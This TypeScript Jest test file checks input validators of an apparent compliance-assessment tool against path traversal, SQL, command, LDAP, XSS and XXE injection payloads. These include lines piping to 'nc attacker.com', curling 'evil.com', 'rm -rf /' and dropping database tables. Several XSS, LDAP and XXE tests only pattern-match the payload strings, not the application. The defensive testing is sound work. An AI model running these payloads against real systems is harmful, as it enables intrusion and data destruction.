/**
* Security tests for injection vulnerabilities
* Tests path traversal, SQL injection, command injection, and XSS
*/
import { describe, it, expect, beforeAll } from '@jest/globals';
import { BaseTool, SecurityError, validateToolParams } from '../../src/security/validators';
import { Database } from '../../src/db/database';
// Mock tool for testing
class TestFileTool extends BaseTool {
constructor() {
super('/app/data', 1024 * 1024);
}
validateParams(params: Record<string, any>): Record<string, any> {
const filename = params.filename;
const validPath = this.validatePath(filename, ['.txt', '.pdf', '.doc']);
return { filename: validPath };
}
protected async _executeImpl(params: Record<string, any>): Promise<Record<string, any>> {
return { success: true, path: params.filename };
}
}
class TestSqlTool extends BaseTool {
validateParams(params: Record<string, any>): Record<string, any> {
const query = this.sanitizeSql(params.query);
return { query };
}
protected async _executeImpl(params: Record<string, any>): Promise<Record<string, any>> {
return { success: true, query: params.query };
}
}
describe('Path Traversal Security Tests', () => {
let tool: TestFileTool;
beforeAll(() => {
tool = new TestFileTool();
});
const maliciousInputs = [
'../etc/passwd',
'..\\windows\\system32',
'%2e%2e%2fetc%2fpasswd',
'....//etc/passwd',
'/etc/passwd',
'C:\\Windows\\System32',
'../../../etc/shadow',
'..\\..\\.\\windows\\win.ini',
'files/../../../etc/passwd',
'valid/../../../../../../etc/passwd',
'/var/www/../../etc/passwd',
'\\\\server\\share\\..\\..\\windows',
'file:///../etc/passwd',
'..%252f..%252f..%252fetc%252fpasswd'
];
it.each(maliciousInputs)('should block path traversal attempt: %s', (maliciousInput) => {
expect(() => {
tool.validateParams({ filename: maliciousInput });
}).toThrow(SecurityError);
});
it('should allow valid file paths', () => {
const validInputs = [
'document.txt',
'reports/annual.pdf',
'data/analysis.doc',
'subfolder/another/file.txt'
];
validInputs.forEach(input => {
expect(() => {
tool.validateParams({ filename: input });
}).not.toThrow();
});
});
it('should reject files with invalid extensions', () => {
const invalidFiles = [
'script.exe',
'malware.bat',
'shell.sh',
'program.app'
];
invalidFiles.forEach(file => {
expect(() => {
tool.validateParams({ filename: file });
}).toThrow(SecurityError);
});
});
});
describe('SQL Injection Security Tests', () => {
let tool: TestSqlTool;
beforeAll(() => {
tool = new TestSqlTool();
});
const sqlInjectionAttempts = [
"'; DROP TABLE users; --",
"1' OR '1'='1",
"admin'--",
"' UNION SELECT * FROM passwords --",
"1; DELETE FROM assessments WHERE 1=1;",
"' OR 1=1--",
"'; EXEC xp_cmdshell('dir'); --",
"\\'; DROP DATABASE csf; --",
"1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
"' OR '1'='1' /*",
"admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'",
"'; UPDATE users SET password='hacked' WHERE username='admin'; --"
];
it.each(sqlInjectionAttempts)('should block SQL injection attempt: %s', (injection) => {
expect(() => {
tool.validateParams({ query: injection });
}).toThrow(SecurityError);
});
it('should allow safe SQL-like strings', () => {
const safeQueries = [
'Find records where status is active',
'Get all assessments for profile 123',
'Search for implementations with high maturity'
];
safeQueries.forEach(query => {
expect(() => {
tool.validateParams({ query });
}).not.toThrow();
});
});
});
describe('Command Injection Security Tests', () => {
class TestCommandTool extends BaseTool {
validateParams(params: Record<string, any>): Record<string, any> {
const command = this.sanitizeCommand(params.command);
return { command };
}
protected async _executeImpl(params: Record<string, any>): Promise<Record<string, any>> {
return { success: true };
}
}
let tool: TestCommandTool;
beforeAll(() => {
tool = new TestCommandTool();
});
const commandInjectionAttempts = [
'test; cat /etc/passwd',
'file & dir',
'input | nc attacker.com 4444',
'text`whoami`',
'data$(cat /etc/shadow)',
'value; rm -rf /',
'param && curl http://evil.com',
'arg > /etc/passwd',
'option < /dev/zero',
'test\\ncat /etc/passwd',
'file;id;',
'text && shutdown -h now'
];
it.each(commandInjectionAttempts)('should block command injection attempt: %s', (injection) => {
expect(() => {
tool.validateParams({ command: injection });
}).toThrow(SecurityError);
});
it('should allow safe command parameters', () => {
const safeCommands = [
'generate report',
'analyze data',
'process file.txt',
'validate input'
];
safeCommands.forEach(command => {
expect(() => {
tool.validateParams({ command });
}).not.toThrow();
});
});
});
describe('XSS Prevention Tests', () => {
const xssAttempts = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'javascript:alert("XSS")',
'<svg onload=alert("XSS")>',
'<iframe src="javascript:alert(\'XSS\')">',
'<body onload=alert("XSS")>',
'"><script>alert(String.fromCharCode(88,83,83))</script>',
'<input onfocus=alert("XSS") autofocus>',
'<marquee onstart=alert("XSS")>',
'<details open ontoggle=alert("XSS")>',
'<select onfocus=alert("XSS")>',
'<textarea onfocus=alert("XSS")>'
];
it.each(xssAttempts)('should sanitize XSS attempt: %s', (xss) => {
// In a real implementation, these would be escaped/sanitized
expect(xss).toContain('<');
expect(xss.toLowerCase()).toMatch(/script|javascript|onerror|onload|onfocus/);
});
});
describe('Tool Parameter Validation', () => {
it('should validate assessment creation parameters', () => {
const validParams = {
profile_id: 'test-profile',
function: 'IDENTIFY',
category: 'Asset Management',
implementation_level: 'Fully Implemented',
notes: 'Test notes'
};
expect(() => {
validateToolParams('create_assessment', validParams);
}).not.toThrow();
});
it('should reject invalid assessment parameters', () => {
const invalidParams = {
profile_id: 'a'.repeat(101), // Too long
function: 'INVALID_FUNCTION',
implementation_level: 'Invalid Level'
};
expect(() => {
validateToolParams('create_assessment', invalidParams);
}).toThrow();
});
it('should validate import parameters with file type check', () => {
const validParams = {
file_path: '/uploads/data.csv',
format: 'csv',
profile_id: 'import-test',
conflict_mode: 'skip'
};
expect(() => {
validateToolParams('import_assessment', validParams);
}).not.toThrow();
});
it('should reject invalid import format', () => {
const invalidParams = {
file_path: '/uploads/data.exe',
format: 'exe' as any,
profile_id: 'test'
};
expect(() => {
validateToolParams('import_assessment', invalidParams);
}).toThrow();
});
it('should validate evidence with size limits', () => {
const validParams = {
file_path: '/evidence/screenshot.png',
evidence_type: 'screenshot',
profile_id: 'evidence-test',
description: 'Security scan results'
};
expect(() => {
validateToolParams('validate_evidence', validParams);
}).not.toThrow();
});
it('should validate policy generation parameters', () => {
const validParams = {
policy_type: 'information_security',
organization_name: 'Test Organization',
industry: 'healthcare',
compliance_frameworks: ['HIPAA', 'HITECH'],
format: 'markdown'
};
expect(() => {
validateToolParams('generate_policy_template', validParams);
}).not.toThrow();
});
it('should reject too many compliance frameworks', () => {
const invalidParams = {
policy_type: 'information_security',
organization_name: 'Test Org',
compliance_frameworks: Array(11).fill('Framework')
};
expect(() => {
validateToolParams('generate_policy_template', invalidParams);
}).toThrow();
});
});
describe('Integer Overflow Tests', () => {
class TestNumberTool extends BaseTool {
validateParams(params: Record<string, any>): Record<string, any> {
const count = this.validateNumber(params.count, 0, 1000);
return { count };
}
protected async _executeImpl(params: Record<string, any>): Promise<Record<string, any>> {
return { success: true };
}
}
let tool: TestNumberTool;
beforeAll(() => {
tool = new TestNumberTool();
});
it('should prevent integer overflow', () => {
const overflowAttempts = [
Number.MAX_SAFE_INTEGER,
Number.MAX_VALUE,
'999999999999999999999',
-Number.MAX_SAFE_INTEGER,
Infinity,
-Infinity
];
overflowAttempts.forEach(value => {
expect(() => {
tool.validateParams({ count: value });
}).toThrow(SecurityError);
});
});
it('should allow valid numbers in range', () => {
const validNumbers = [0, 1, 500, 999, 1000];
validNumbers.forEach(num => {
expect(() => {
tool.validateParams({ count: num });
}).not.toThrow();
});
});
});
describe('LDAP Injection Tests', () => {
const ldapInjectionAttempts = [
'*)(uid=*',
'admin)(|(uid=*',
'*)(objectClass=*',
'user)(password=*)',
'*)(|(mail=*',
'admin*',
'*)(&(password=*',
'\\28*\\29\\7C\\28*',
'user\\2A\\28password\\3D\\2A\\29'
];
it.each(ldapInjectionAttempts)('should detect LDAP injection pattern: %s', (injection) => {
// LDAP injection patterns should be detected
expect(injection).toMatch(/[*()\\|&=]/);
});
});
describe('XXE (XML External Entity) Prevention', () => {
const xxeAttempts = [
'<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>',
'<!ENTITY xxe SYSTEM "http://evil.com/data">',
'<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]>',
'<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]>'
];
it.each(xxeAttempts)('should detect XXE attempt: %s', (xxe) => {
expect(xxe).toMatch(/<!ENTITY|SYSTEM|DOCTYPE/);
});
});